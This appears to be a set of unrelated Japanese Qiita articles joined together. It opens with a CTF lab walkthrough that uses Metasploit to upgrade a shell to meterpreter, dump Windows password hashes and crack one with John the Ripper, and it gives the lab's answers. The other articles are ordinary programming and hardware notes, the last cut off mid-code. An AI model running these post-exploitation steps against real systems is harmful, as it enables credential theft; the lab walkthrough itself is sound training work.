write upを前後編に分けるなど意味がわからないと思われるかもしれませんが、ぜひ前回の記事を読んでいただくようお願いします。
前回

https://qiita.com/Inlet-back/items/b9bf4ef1591f00e6d42c



## 手順
### 3.Escalate
前回metasploitからexploitを実行して侵入に成功しました。
ここからはmeterpreterを使って権限を昇格していきます。
前回のコマンドで指示通りに
```zsh
set payload windows/x64/shell/reverse_tcp
```
 を行っているとmeterpreterのshellが出てくるはずです。
 でなければ以下のコマンドで入ります

```zsh
use post/multi/manage/shell_to_meterpreter
```
なので答えはpost/multi/manage/shell_to_meterpreter　になります
helpコマンドを見れば一覧がでます。そのなかのsessionコマンドを使います。
答えはSESSIONです。

このようにid 1とでていればOKです。また画像のようにrun  1を続けて実行してください![スクリーンショット 2025-02-26 18.14.32.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3853234/835a5281-f017-48dd-be56-d134dc8a4df0.png)

うまくいかなければ以下のコマンドを実行
```zsh
use post/multi/manage/shell_to_meterpreter 
set session 1
run
```
すると以下のようにsessionが増えているはずです
![スクリーンショット 2025-02-26 18.14.46.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3853234/3a970abb-2450-4319-a889-c34d2f52a2a2.png)
```
session -i 2
```
でコンソールに移動します。
これで権限昇格は完了しました。

参考

https://blog.yuhei.yokohama/?p=1054

### 4. craking
先ほどのコンソールのまま言われたとおり以下のコマンドを実行。
```zsh
hashdump
```
するとこのように出る。
![スクリーンショット 2025-02-26 18.17.46 2.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3853234/88868056-821e-43ea-80fa-f65337e1031a.jpeg)
よって１つ目の答えはJohn
２つ目のこたえはffb43f0de35be4d9917ac0cc8ad57f8dの部分であるハッシュを解析することでできる。
いくつかツールはあるが、Jhon the ripperなどを使うとできる。
手順としては、ファイルを新規作成して先ほどのハッシュを書き込み、rockyou.txtというワードリストを使うとできる。
最初うまくいかなかったが、調べてみると--format=NT オプションが必要だった。
```
touch hashdump.txt
echo "ffb43f0de35be4d9917ac0cc8ad57f8d" > hashdump.txt
john  --wordlist=/PATH/rockyou.txt hash.txt --format=NT
```
すると答えがalqfna22とでる。

### Find flags!
lsを打つとこのように無数にでるので、コマンドを変える必要がある
![スクリーンショット 2025-03-01 0.20.09.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3853234/4b869d91-c408-49d9-8524-5703ee8eabe3.png)

以下のコマンドで一発でファイルの場所を探すことができる。
```zsh
search -f flag*.txt
```
![スクリーンショット 2025-03-01 0.18.41.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3853234/6659c163-27d4-4f72-be06-7d80ceedb124.png)

あとはcatやダウンロードして中身を見れば完了
AGI実現のカギは「アブダクション」にあり？

### はじめに

ChatGPTのモデル分類と、チャールズ・パースが提唱した推論形式にはある種の対応関係があるのではないか。

さらに、この対応関係を深掘りすることで、AGI（汎用人工知能）実現のヒントが得られるのではないか。 

－ そう考えています。

この記事では、私の個人的なアイデアを整理し考察を述べます。

まず、パースの推論形式とChatGPTのモデル分類について解説し、その対応関係を整理します。最後に、AGI実現に向けたアイディアについてまとめます。

---

### パースの提唱する推論形式

パースは、推論には以下の3種類があると提唱しました。

| 推論形式  | 説明 | 代表例 |
|-----------|----------------|----------------|
| **帰納法 (Induction)** | 多くの事例（原因A={A1,A2,...}と結果B={B1,B2,...}）から法則[A → B]を導く方法 | 物理学・化学において実験結果から法則を導く方法 |
| **演繹法 (Deduction)** | 既存の法則[A → B]と、特定の事例Ai ∈ Aから、結果Bi ∈ Bを導く方法 | 数学的証明 |
| **アブダクション (Abduction)** | 結果Bi ∈ Bと法則[A → B]から、原因Ai ∈ Aを推測する方法 | 原因の探索や洞察（科学的発見など） |

---

### ChatGPTのモデル分類

現在のモデルは下記の２タイプに分類できると考えています。

| モデル | 特徴 |
|--------|----------------|
| **4o系** | 統計的に最も確率の高いアウトプットを生成するモデル |
| **o1系** | Chain-of-Thought（CoT）による推論を強化したモデル |

---

### パースの推論形式とChatGPTの対応関係

ChatGPTの推論形式と、パースの分類には以下の対応関係があると考えます。

| 推論形式  | 対応モデル | 説明 |
|-----------|----------------|----------------|
| **帰納法** | **4o系** | 多数の原因データと結果データから統計モデルを構築するプロセスは、帰納法に類似 |
| **演繹法** | **o1系** | CoTによる段階的推論は、演繹法の思考プロセスに類似 |
| **アブダクション** | **対応なし** | ChatGPTには、まだこの能力がない |

現在のChatGPTには、アブダクションを行う仕組みが存在しないと考えています。

---

### AGI実現へのアイデア

現在のLLM（大規模言語モデル）でも、表面的にはアブダクション的な推論が可能です。
たとえば、「この結果の原因を考えて」とプロンプトに入力すれば、それらしい仮説を出力できます。

しかし、LLMの本質が統計モデルである以上、その仮説は**既存のデータに基づいたもの**に限られます。つまり、未知の事象に対する**本質的に新しい仮説立案**は困難です。

この課題を解決するために、以下の2点を備えたモデルが必要だと考えます。

1. **未知の事象に対する仮説を立てる仕組み**（例えば、アナロジーによる推論など）
2. **仮説を検証する仕組み**（原因と結果のデータを自律的に収集・評価する）

このような機能を持つAIは下記のループを実現できます。

1. 帰納法（既存データをもとにモデルを構築）
2. 演繹法（モデルとCoTを用いた推論の展開）
3. アブダクション（推論に行き詰まった場合、新たに仮説を立てデータ収集）
⇒ 得られたデータからモデルを再構築する。(1.へ戻る）

このループを回すことで、LLMは自律的に知能を高め、**AGIへと近づくのではないか** 

—— と私は考えました。

AGIの登場に期待を込めて。

---
microbit-pxt-blehidをプロジェクトに追加した時に発生するエラーについて

# microbit-pxt-blehidとは
microbit-pxt-blehidとは、micro:bitをマウスやキーボードなどの、HID(Human Interface Device)として認識させるときに利用する拡張機能です。

これをプロジェクトに追加したとき、以下のような見慣れないエラーが発生しました。この問題について、原因を調査しました。。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/245196/58a0a88d-53ea-48c9-92c9-6ed49a70b1b6.png)

# 原因

プロジェクトの設定の「No Pairing Required」がオンの状態で追加する発生するようです。
「JustWorks pairing」がオンの状態で追加すると、エラーは発生しませんでした。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/245196/fc5f9653-c93f-461c-8440-9a92829f239b.png)

# アイコンが表示されない問題

ところで、2025/3月現在、なぜかChromeでは、拡張機能を追加しても、アイコンが表示されず、プログラムを作成できませんでした。ただしシークレットウインドウで同じことをした場合は問題ありませんでした。またEdgeでも問題ありません。
私の環境だけかもしれませんが、念のため。

**[Chrome]**
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/245196/329bfeaa-4c28-449b-ba5c-676adec8facd.png)

**[Edge]**
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/245196/d742a8e6-75e7-4930-a0dc-fb4c7ad56f47.png)

# ライブラリの名称も少しおかしい？
ライブラリの名称が「microbit-pxt-blehid - Copy」と、最後に余分な「Copy」がついています。これらの問題と関係あるか？わかりませんが、少し気になりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/245196/d48ca5aa-0c36-4a4b-bb3b-1e2c8b3c6aba.png)
計算機実習Ⅰ：データの型

新しくプログラミング言語を習得するには、実際に書いてみることが最も効率的。
プログラムの解説は最低限に抑えて、①手を動かしながら、②出力結果を見ながら、習得する方針で作成している。

# 型宣言
```fortran: variables.f90
program variables
  implicit none

  integer :: code
  real :: airtemp
  character(len=20) :: name

  code = 21
  airtemp = 298.15
  name = "It's rainy"

  print *, 'Code:', code
  print *, 'Air Temperature:', airtemp
  print *, 'Name: ', name

end program variables
```
- `implicit none`
  全ての変数の型を明示的に宣言するようFortranに指示している。
- `integer :: code`
  codeという名前の整数型変数を宣言している。
- `real :: airtemp`
  airtempという名前の実数型変数を宣言している。
- `characetr(len=20) :: name`
  nameという名前の文字型変数を宣言している。len=20は、この変数が最大20文字の長さを持つことを指定している。

### 組み込みデータ型の種類
強い型付け言語であり、静的型付け言語であるFortranは以下の5つの組み込みデータ型がある。型付け（typing）については「[7つの言語 7つの世界](https://www.amazon.co.jp/exec/obidos/ASIN/4274068579/hatena-hamazou-22/)」に詳しく書かれている。
 |組み込みデータ型|説明|
 |-|-|
 |整数型（integer）|正または負の整数|
 |実数型（real）|浮動小数点|
 |複素数型（complex）|実部と虚部からなるなる値|
 |文字型（character）|テキストデータ|
 |論理型（logical）|真（.true.）または偽（.false.）のブール値|

# 算術演算

### 算術演算子

また今度
【Git】未来の時間でCommit＆pushしたらどうなるのか？

<h2>未来の時間へPushする</h2>

Gitで過去の時間にpushすることで草を生やすことを以前知ったが、

ふと、未来時間でpushするとどうなるのかと思ったので検証することにした
観点は以下
・草が生えるのだろうか？
・push時にエラーが出るのだろうか？

<h2>検証(2/28)</h2>
いつものようにAddして、未来時間でCommitをして、そのままPushした

2/28が検証日なので3/1にpushする

commitやpushした時点では、エラーが表示されていない

```terminal:検証
git add -A

git commit -m "コメント" --date="mar 1 23:59:59 2025 +0900" 
[main 4710dea] コメント
 Date: Sat Mar 1 23:59:59 2025 +0900
 2 files changed, 0 insertions(+), 0 deletions(-)
 rename {Chapter_1 => Chapter_2}/b copy.cpp (100%)
 rename {Chapter_1 => Chapter_3}/b copy 2.cpp (100%)

git push
Enumerating objects: 7, done.
Counting objects: 100% (7/7), done.
Delta compression using up to 20 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (5/5), 567 bytes | 567.00 KiB/s, done.
Total 5 (delta 0), reused 0 (delta 0), pack-reused 0
To https://github.com/TKWebSE/BookOfAtCoderBeginning.git
   9b20537..4710dea  main -> main
```

草も2/28の分までしか表示されていない
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/927880/b1d84d31-5883-4476-8df2-7f550836778d.png)

<h2>検証(3/1)</h2>
草を確認した
結果として、3/1に草がちゃんと生えていた

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/927880/cd987da5-afdd-4391-b29b-6cdacdcd4eb9.png)

<h2>結論</h2>
未来の草はちゃんと生える！！

<h2>参考</h2>

https://qiita.com/TK_WebSE/items/aa8c3f7c6ad1900345d7
8ビットの数値が偶数パリティかを計算する

# 問題

8ビット符号なし整数 (0～255) が与えられる。
この整数を2進数で表したときの「1」の数は偶数 (=偶数パリティ) か否か？

# 計算方法

## 愚直

1ビットずつ「1」かどうかを判定し、「1」のビットの数を数える。
そして、最後にその数が偶数かどうかを判定する。

```javascript
function isEvenParity8bit(value) {
	let cnt = 0;
	for (let i = 0; i < 8; i++) {
		if ((value >> i) & 1) cnt++;
	}
	return cnt % 2 == 0;
}
```

## 有名手法の応用 (シフト加算)

数の中で「1」のビットがいくつあるかを求める有名な方法がある。
数を細かい数が並んだものと考え、それらの細かい数を足していくことで求める方法である。
この方法で「1」のビットがいくつあるかを求め、それが偶数かどうかを判定する。

```javascript
function isEvenParity8bit(value) {
	value = (value & 0x55) + ((value & 0xaa) >> 1);
	value = (value & 0x33) + ((value & 0xcc) >> 2);
	value = (value & 0x0f) + ((value & 0xf0) >> 4);
	return value % 2 == 0;
}
```

## 有名手法の応用の応用 (XOR)

上の手法では、加算を行うために、ビットANDによるマスクが必要だった。
しかし、「1」のビットの数の偶奇のみを求める場合、加算のかわりにXORをすればよい。
XORならば各ビットごとに独立に計算でき、ほかのビットに影響を与えないため、使わないビットをマスクせず、単純に無視すればよい。

```javascript
function isEvenParity8bit(value) {
	value ^= value >> 1;
	value ^= value >> 2;
	value ^= value >> 4;
	return !(value & 1);
}
```

# 検証

今回用意した3種類の手法の計算結果を比較し、違いがないことを確かめた。

```javascript
function isEvenParity8bit1(value) {
	let cnt = 0;
	for (let i = 0; i < 8; i++) {
		if ((value >> i) & 1) cnt++;
	}
	return cnt % 2 == 0;
}

function isEvenParity8bit2(value) {
	value = (value & 0x55) + ((value & 0xaa) >> 1);
	value = (value & 0x33) + ((value & 0xcc) >> 2);
	value = (value & 0x0f) + ((value & 0xf0) >> 4);
	return value % 2 == 0;
}

function isEvenParity8bit3(value) {
	value ^= value >> 1;
	value ^= value >> 2;
	value ^= value >> 4;
	return !(value & 1);
}

for (let i = 0; i < 256; i++) {
	const a = isEvenParity8bit1(i);
	const b = isEvenParity8bit2(i);
	const c = isEvenParity8bit3(i);
	if (a !== b || b !== c) console.log(i, a, b, c);
}
```

# 性能比較

今回用意した3種類の手法の実行効率を、[JSBench.me](https://jsbench.me/) で1回測定した。
それぞれの関数の後に以下のコードを追加し、それぞれの入力について1回ずつ計算を行った。

```javascript
let cnt = 0;
for (let i = 0; i < 256; i++) {
	if (isEvenParity8bit(i)) cnt++;
}
if (cnt !== 128) throw new Error();
```

[isEvenParity8bit (version 1) - JavaScript benchmark at JSBench.me](https://jsbench.me/asm7ov2b04/1)

その結果は以下のようになった。

|手法|Firefox 135.0.1|Google Chrome 133.0.6943.142|
|---|---|---|
|愚直|43万 ops/s ± 0.76%|25万 ops/s ± 1.04%|
|シフト加算|337万 ops/s ± 0.67%|80万 ops/s ± 1.87%|
|XOR|483万 ops/s ± 1.2%|116万 ops/s ± 1.41%|

![実行効率を比較するグラフ](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/ca7fa33b-d3e1-446e-80fa-73edc5f0edff.png)

有名手法を用いて「1」のビットを数えることで、愚直にビットを数えるよりもかなり効率が上がっているが、XORを用いてAND演算を削減することでそれよりもさらに効率が上がっていることがわかる。

# よりビットが多い場合への応用

16ビット・32ビットなどより多くのビットを扱う場合にも、有名手法と同様に、シフトの幅を増やした計算を追加することで対応できるはずである。

# まとめ

「1」のビットの数を求める有名な手法を応用し、XOR演算を用いて余計なAND演算を省くことで、より効率よく与えられた数値が偶数パリティかどうかを求めることができた。
【Java】switch文


恥ずかしながら、業務でswitch文を使用した際に、`break` を書き忘れました。
ほかに原因があると勘違いしたため、気づくまでに30分を無駄にしました。

今回は自戒のためにも、Switch文について再度まとめてみます。
※個人的な備忘ですので、誤りがある場合はご指摘いただけますと幸いです。

## Switch文とは？
switch文は複数の条件分岐を記載するための構文の一つです。
条件分岐というとif文が思い当たりますが、switch文はif文と同様の働きを行います。
ただし、分岐数が多い場合には、if文よりも簡潔に記載することができる構文です。

## 基本構文
実際に使い方を見ていきます。
今回は、文字列型変数 `today` に入っている値に対応する文字列を出力するコードで見てみます。

```Weekend.java
String today = "木曜日";

switch (today) {
    case "日曜日":
        System.out.println("Sunday");
        break;
    case "月曜日":
        System.out.println("Monday");
        break;
    case "火曜日":
        System.out.println("Tuesday");
        break;
    case "水曜日":
        System.out.println("Wednesday");
        break;
    case "木曜日":
        System.out.println("Thursday");
        break;
    case "金曜日":
        System.out.println("Friday");
        break;
    default:
        System.out.println("Saturday");
}
```

```java:出力結果
Thursday
```

基本的には上記のような書き方となります。

サンプルでは、文字列型変数の `today` に `"木曜日"` という文字列が代入されています。
switch文では最初に式を評価した後に、`case`に記載されているラベルと一致した値がある場合に、そのラベル内の処理を実行します。
今回の例では `today` は `木曜日` であるため、`case "木曜日"` のラベルの処理が実行され、`Thursday` を出力しました。

また、どの条件にも一致しない場合は、`default` の処理が実行されます。`default` の記載は任意で、breakを記載する必要はありません。

そのほかのラベルには `break` を記載する必要があります。記載をしない場合でもコンパイルエラーとはなりませんが、一致した値以降の `case` 処理がすべて実行されてしまいます。このことをフォールスルーと呼びます。（今回この記事を書くにあたって初めて知りました。）

実際にフォールスルーの場合も試してみます。

```Weekend.java
String today = "木曜日";

switch (today) {
    case "日曜日":
        System.out.println("Sunday");
    case "月曜日":
        System.out.println("Monday");
    case "火曜日":
        System.out.println("Tuesday");
    case "水曜日":
        System.out.println("Wednesday");
    case "木曜日":
        System.out.println("Thursday");
    case "金曜日":
        System.out.println("Friday");
    default:
        System.out.println("Saturday");
}
```

```java:出力結果
Thursday
Friday
Saturday
```

`today` は `木曜日` であるため、`case "木曜日"` 以降のすべてのラベルの処理が実行され、`Thursday` `Friday` `Saturday` を出力しました。


今回、本記事をまとめる中で、`break` を書かなくてもSwitch文が動作する処理もあるらしいと知りましたので、`break` なしの方法についてもまとめてみます。

## アロー構文
アロー構文では、`case 条件` を記載した後に '->' という記号を書きます。
 '->' の後に処理を記載します。

```Weekend.java
String today = "木曜日";

switch (today) {
    case "日曜日" -> System.out.println("Sunday");
    case "月曜日" -> System.out.println("Monday");
    case "火曜日" -> System.out.println("Tuesday");
    case "水曜日" -> System.out.println("Wednesday");
    case "木曜日" -> System.out.println("Thursday");
    case "金曜日" -> System.out.println("Friday");
    default ->{
        System.out.println("Saturday");
    }
}
```

アロー構文の場合だと、上記の通り、`:` と `break`を省略できるため便利です。


## まとめ
今回は初歩的なところでswitch文についてまとめてみました。

条件分岐としてはif文と同じことができますが、if文よりはコードがすっきりして見えるので、私はswitch文のほうが好きです。

調べていく中でアロー構文なるものも知ることができたので、breakし忘れる私にもピッタリだと思います。


### 【参考】
https://www.javadrive.jp/start/if/index4.html
https://qiita.com/dhirabayashi/items/2999b04a369379f41675
【Mac】入力しているキーを画面に表示する方法

KeyCastrを使用すると画面に現在入力しているキーを表示できます。

https://github.com/keycastr/keycastr

## インストール

以下のコマンドでインストールします。

```terminal
brew install --cask keycastr
```

## 入力監視を許可

「システム設定」→「プライバシーとセキュリティ」→「入力監視」でKeyCastrに許可を与えます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2342443/8aa28e70-6a77-44a8-92b5-9a2ab6aa2628.png)


以下のように入力しているキーやクリックが画面に表示されるようになります。

![画面収録 2025-03-01 0.14.10.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2342443/337c7ae7-206e-4695-8fdc-0daf599e75bf.gif)

## 設定項目

表示の色やフォントサイズなどの設定ができます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2342443/a002b654-3575-4ec8-add1-3a3f7d19cbd3.png)

表示されているキーをドラッグすることで表示位置を変更できます。
社内輪読会をいかに盛り上げるか

社内で開催された輪読会に参加し、その運営（議事録やファシリテーターなど）のようなこともしました。
そこで、社内輪読会に参加して感じたこと、このように企画・運営すると良いと思ったことをまとめました。

## 輪読会のスタイル
### 1. 読んだ本
[Clean Architecture 達人に学ぶソフトウェアの構造と設計](https://www.amazon.co.jp/Clean-Architecture-%E9%81%94%E4%BA%BA%E3%81%AB%E5%AD%A6%E3%81%B6%E3%82%BD%E3%83%95%E3%83%88%E3%82%A6%E3%82%A7%E3%82%A2%E3%81%AE%E6%A7%8B%E9%80%A0%E3%81%A8%E8%A8%AD%E8%A8%88-Robert-C-Martin/dp/4048930656)（KADOKAWA社）
全352ページ、全34章
### 2. 輪読会の進め方
+ 週に1回30分開催
+ 事前に読んでおき、感想をslackの専用リマインダー（参加者にメンションがついている）に返信する
+ 一人ひとり感想を簡単に話し、それについて意見交換する

## 結論
輪読会に参加してみて一番感じたことは、**参加するハードルを下げることが大切**ということです。

参加してくださるどなたも、プロジェクトでの業務がある以上、MTGやリリース対応など動かせない予定が入っていることもあるため、今回のように複数回に分けた場合、参加できない会があるのは仕方ないです。
私も途中で客先とのMTGが重なることが増え、不参加の週が増えました。
そのような中でも、参加できる日にいかに気軽に参加してもらうかが、輪読会を続けるカギだと思います。

## ハードルを下げるには？
### 1. 内容を追いやすいように、議事録をとる。
参加した輪読会では、毎回議事録をとっていました。
slackに投稿してもらった感想をコピペして、それに対する意見を書いていくスタイルです。
輪読会の開催を告知したときに参加を希望された方も、プロジェクトの業務がある以上毎回参加できるとは限りません。
私はそんなときに議事録を読んで内容を把握し、学びにしていました。
また、新卒の場合は議事録を書き慣れていないことも多いと思うので、その練習もかねて書いてもらうのもいいと思います。
私の場合は、輪読会で議事録作成を何度か経験していたことが、客先とのMTGで議事録を書くときに活きてきました。

### 2. 毎回録画する。
議事録だけではわからないニュアンスも、会話の中には当然あるため、録画しておくのも手だと思います。
ただ、録画されるのが嫌な方も一定数いると思うので、同意は取りたいところです。

### 3. 短時間で開催できるよう、できれば事前に本を読んでおいてもらう。
案件業務で忙しい中で、1時間学習に充てるのは、難しいのではないでしょうか？30分が限度だと思います。
事前に読んで感想を数行～十数行にまとめておくスタイルをとったところ、10人前後の輪読会でも30分以内に収めることができました。
（1回あたりの読む分量を、次回までに読めるレベルに設定するのが必須ですが）

### 4. 参加者が少ない日は、ためらわずに中止する（ある程度人数がいたほうが、意見交換がしやすいため）。
たまたま案件業務で参加できない方が多く、参加人数が極端に少ない回もありました。
そんな時は、気兼ねなく中止すればいいです。
参加人数が多いほうが、本の内容に詳しい人・そうでない人のどちらにとっても、学びになります。

### 5. 聞き専で参加してもよいことにする（呼びかけ・雰囲気づくり大事！）。
個人的にはこれがすごく助かっていました。
忙しさや内容の難しさにより、あまり熟読できていない時にも、気軽に参加し学びを得られたからです。
「聞き専OK」などの文言を、開催告知用の投稿やリマインダーなどの定型文に書いたりしても、いいかもしれません。

## まとめ
今回読んだ本は、一人で読むには少し内容が難しく分量も多めでしたが、社内で交流しながら読み進めることで読みやすくなり内容も理解しやすかったです。
輪読会は社内交流や学習のきっかけになる良い取り組みだと感じたので、今度は自分が主体的に輪読会を開催したいと思いました。
この記事を読んでくださった方が、ここでまとめた内容を社内外でのイベント企画に役立てていただけたら嬉しいです。
[OutSystems] ウィジェットの表示・非表示設定について

## はじめに
OutSystemsでは、ウィジェットの表示・非表示を制御するためのプロパティが用意されています。
具体的には、Traditional Webでは「display」および「visible」、Reactive Webでは「visible」プロパティが該当します。
これらのプロパティを使用してウィジェットを非表示にした場合、DOM自体が生成されないのか、HTMLタグにhidden属性が付与されるのか、それともCSSで制御されるのか、この点の挙動をよく忘れてしまうことがあるので、実際に試して確認し、整理しておこうと思います。

## 動作環境
* OutSystems（バージョン11）

## 検証
### Traditional Web
Traditional Webでは、displayプロパティで設定できるウィジェットと、visibleプロパティで表示・非表示を設定できるウィジェットがあります。
#### display
まず、displayプロパティを検証します。
displayオプションが存在するウィジェットとして、Containerウィジェットで検証します。
以下のContainerのdisplayオプションの設定を切り替えて確認を行います。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3945506/a441819a-2968-44c5-a66d-4643887f01ed.png)

displayプロパティのTrue/False設定を切り替えてDOMを比較してみます。
* display=Trueの場合
```html
<div>
	<div>表示・非表示テスト</div>
	<div id="wt8_OutSystemsUIWeb_wt18_block_wtContent_wtMainContent_wtDisplayTestContainer">DisplayTestContainer</div>
</div>
```
* display=Falseの場合
```html
<div>
	<div>表示・非表示テスト</div>
	<div id="wt8_OutSystemsUIWeb_wt18_block_wtContent_wtMainContent_wtDisplayTestContainer" style="display:none">DisplayTestContainer</div>
</div>
```
displayプロパティをFalseに設定した際、ContainerのDOMは生成され、style属性に`display:none`が付与されます。

### visible
次に、visibleプロパティを検証します。
visibleオプションが存在するウィジェットとして、Buttonウィジェットで検証します。
以下のButtonのvisibleオプションのTrue/False設定を切り替えて確認を行います。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3945506/b796e7cc-ab7f-40c3-a6d6-0657e8530810.png)

visibleプロパティのTrue/False設定を切り替えてDOMを比較してみます。
* visible=Trueの場合
```html
<div>
	<div>
		<span style="font-weight: normal;">表示・非表示テスト</span>
	</div>
	<input type="submit" name="wt7$OutSystemsUIWeb_wt18$block$wtContent$wtMainContent$wtVisibleTestButton" value="visibleテスト用ボタン" id="wt7_OutSystemsUIWeb_wt18_block_wtContent_wtMainContent_wtVisibleTestButton" class="Button Is_Default">
</div>
```
* visible=Falseの場合
```html
<div>
	<div>
		<span style="font-weight: normal;">表示・非表示テスト</span>
	</div>
</div>
```
visibleプロパティをFalseに設定した際は、ButtonのDOMは生成されません。

###  Reactive Web
次に、Reactive Webでvisibleプロパティを検証します。
visibleオプションが存在するウィジェットとして、Containerウィジェットで検証します。
以下のContainerのvisibleオプションの設定を切り替えて確認を行います。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3945506/af4bed15-af2c-4e84-b723-d00c939a622b.png)

visibleプロパティの設定を切り替えてDOMを比較してみます。
* visible=Trueの場合
```html
<div data-container="">
	<div data-container="">
		<span data-expression="">表示・非表示テスト</span>
	</div>
	<div data-container="" id="VisibleTestContainer">
		<span data-expression="">VisibleTestContainer</span>
	</div>
</div>
```
* visible=Falseの場合
```html
<div data-container="">
	<div data-container="">
		<span data-expression="">表示・非表示テスト</span>
	</div>
</div>
```
visibleプロパティをFalseに設定した際、ContainerのDOMは生成されません。

## まとめ
visibleプロパティをFalseに設定した場合、DOMの生成が行われませんが、displayプロパティをFalseに設定した場合はstyle属性に`display:none`が付与されます。
`display:none`の場合、DOM自体は生成されるため、ユーザーがブラウザの開発者ツールを使用して要素を閲覧・操作できてしまうのでセキュリティ面で影響を及ぼすことがあります。また、要素の読み込みも発生するため、パフォーマンスにも影響を及ぼす可能性があります。
現在はOutSystemsのTraditional Webを利用する機会は少なくなっているかもしれませんが、displayプロパティとvisibleプロパティの挙動の違いを理解し、Ifウィジェットの利用を含めて適切な対応を検討する必要があります。
Intel X520でSFP+のベンダーロックを解除する方法

要約：
Amazonでお安く売られている
[Intel X520なカード](https://www.amazon.co.jp/gp/product/B0DND1V8KL)
を使って
[SFP+module](https://www.amazon.co.jp/gp/product/B09TT8QCC6/)
を利用しようとしましたが、Linuxではうんともすんとも言わず
いろいろ調べた結果やっぱりひと手間が必要でしたので備忘録

## 前提：
- Ubuntu　22.04.1で実施
- ethtoolをaptで入れていること（入れ方は割愛）
- コマンドは基本sudoやrootで実施

:::note alert
免責：
壊れても泣かない、ベンダーロックというか保証ないんだし仕方がない。
:::

１．ベンダーID等を取得
```bash:command
$ lspci -nn | grep X5
04:00.0 Ethernet controller [0200]: Intel Corporation Ethernet 10G 2P X520 Adapter [8086:154d] (rev 01)
04:00.1 Ethernet controller [0200]: Intel Corporation Ethernet 10G 2P X520 Adapter [8086:154d] (rev 01)
```

ここで8086:154dをめも

２．値を取得
```bash:command
# ethtool -e enp4s0f0 offset 0x58 length 1
Offset          Values
-------         ------
0x0058:         fc
```

３．値を書き換え
magicに先ほど１．で取り出した値をいれ、value値を編集
```bash:command
root@murakumo:~# ethtool -E enp4s0f0 magic 0x154D8086 offset 0x58 value 0xff
```
と設定すると通りません、
```bash:error
offset & length out of bounds
```

正しくは
```bash:command
ethtool -E enp4s0f0 magic 0x154D8086 offset 0x58 value 0xff length 1
```

４．値を確認
```bash:command
root@murakumo:~# ethtool -e enp4s0f0 offset 0x58 length 1
Offset          Values
------          ------
0x0058:         ff
```

５．SFPを挿抜して、ログをみる
```bash:command
root@murakumo:~# dmesg | tail -n 2
[ 6032.666759] ixgbe 0000:04:00.0 enp4s0f0: WARNING: Intel (R) Network Connections are quality tested using Intel (R) Ethernet Optics.  Using untested modules is not supported and may cause unstable operation or damage to the module or the adapter.  Intel Corporation is not responsible for any harm caused by using untested modules.
[ 6032.722605] ixgbe 0000:04:00.0 enp4s0f0: detected SFP+: 5
```
ここで挿抜
```bash:command
root@murakumo:~# dmesg | tail -n 2
[ 6550.512942] ixgbe 0000:04:00.0 enp4s0f0: detected SFP+: 5
[ 6558.994506] ixgbe 0000:04:00.0 enp4s0f0: NIC Link is Up 10 Gbps, Flow Control: RX/TX
```

これでベンダーロックが解除されて利用できるようになります、
【備忘録】Kotlin Spring Boot 初回起動時 Cannot access ~ への解決

## Kotlin x Spring Boot Framewor「Cannot access class 'java.lang.Class'. Check your module classpath for missing or conflicting dependencies」エラーについて

### 1. エラー発生個所
" ＠SpringBootApplication "で「Cannot access class 'java.lang.Class'. Check your module classpath for missing or conflicting dependencies」が発生していた
```kotlin
@SpringBootApplication ←ここ
class ApiApplication

fun main(args: Array<String>) {
	runApplication<ApiApplication>(*args)
}
```
### 2. ./gradlew -versionを実行
```
./gradlew -version

------------------------------------------------------------
Gradle 8.12.1
------------------------------------------------------------

Build time:    2025-01-24 12:55:12 UTC
Revision:      -------------

Kotlin:        2.0.21 ← Kotlin versionを確認
Groovy:        3.0.22
Ant:           Apache Ant(TM) version 1.10.15 compiled on August 25 2024
Launcher JVM:  -------
Daemon JVM:    -------
OS:            Windows 11 ....

```
### 3. gradleファイル pluginを確認
```kotlin
plugins {
	kotlin("jvm") version "1.9.25" ← gradle -versionで確認した2.0.21に合わせて再ビルド
	kotlin("plugin.spring") version "1.9.25"
	id("org.springframework.boot") version "3.4.3"
	id("io.spring.dependency-management") version "1.1.7"
}
```

上記 Kotlin バージョンを ./gradlew -version で確認した情報と合わせたらなんか治った。
ProcessPoolExecutor をデバッグ実行すると AttributeError が出る

## 現象

Windows の Visual Studio Code の拡張機能を使って Python を F5 キーでデバッグ実行した時、 ProcessPoolExecutor を使っていると、プログラム終了時に以下のようなエラーが出る。

```
File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.12_3.12.2544.0_x64__*************\Lib\concurrent\futures\process.py", line 310, in weakref_cb
AttributeError: 'NoneType' object has no attribute 'debug'
```

(`*************`のところは、おそらく固有の番号なので隠した。)
ProcessPoolExecutor を`with ProcessPoolExecutor as executor:`といった使い方をしていても出るし、`executor.shutdown()`を明示的に呼んでも出る。


## 考察

AIに聞いても、通常は問題ないとだけ返ってきて釈然としないので、ちょっと考えてみた。
エラーの出た所のソースコードを見に行ったところ、こんな感じになっている。

```Python: Lib/concurrent/futures/process.py
class _ExecutorManagerThread(threading.Thread):
    """Manages the communication between this process and the worker processes.

    The manager is run in a local thread.

    Args:
        executor: A reference to the ProcessPoolExecutor that owns
            this thread. A weakref will be own by the manager as well as
            references to internal objects used to introspect the state of
            the executor.
    """

    def __init__(self, executor):
        # Store references to necessary internals of the executor.

        # A _ThreadWakeup to allow waking up the queue_manager_thread from the
        # main Thread and avoid deadlocks caused by permanently locked queues.
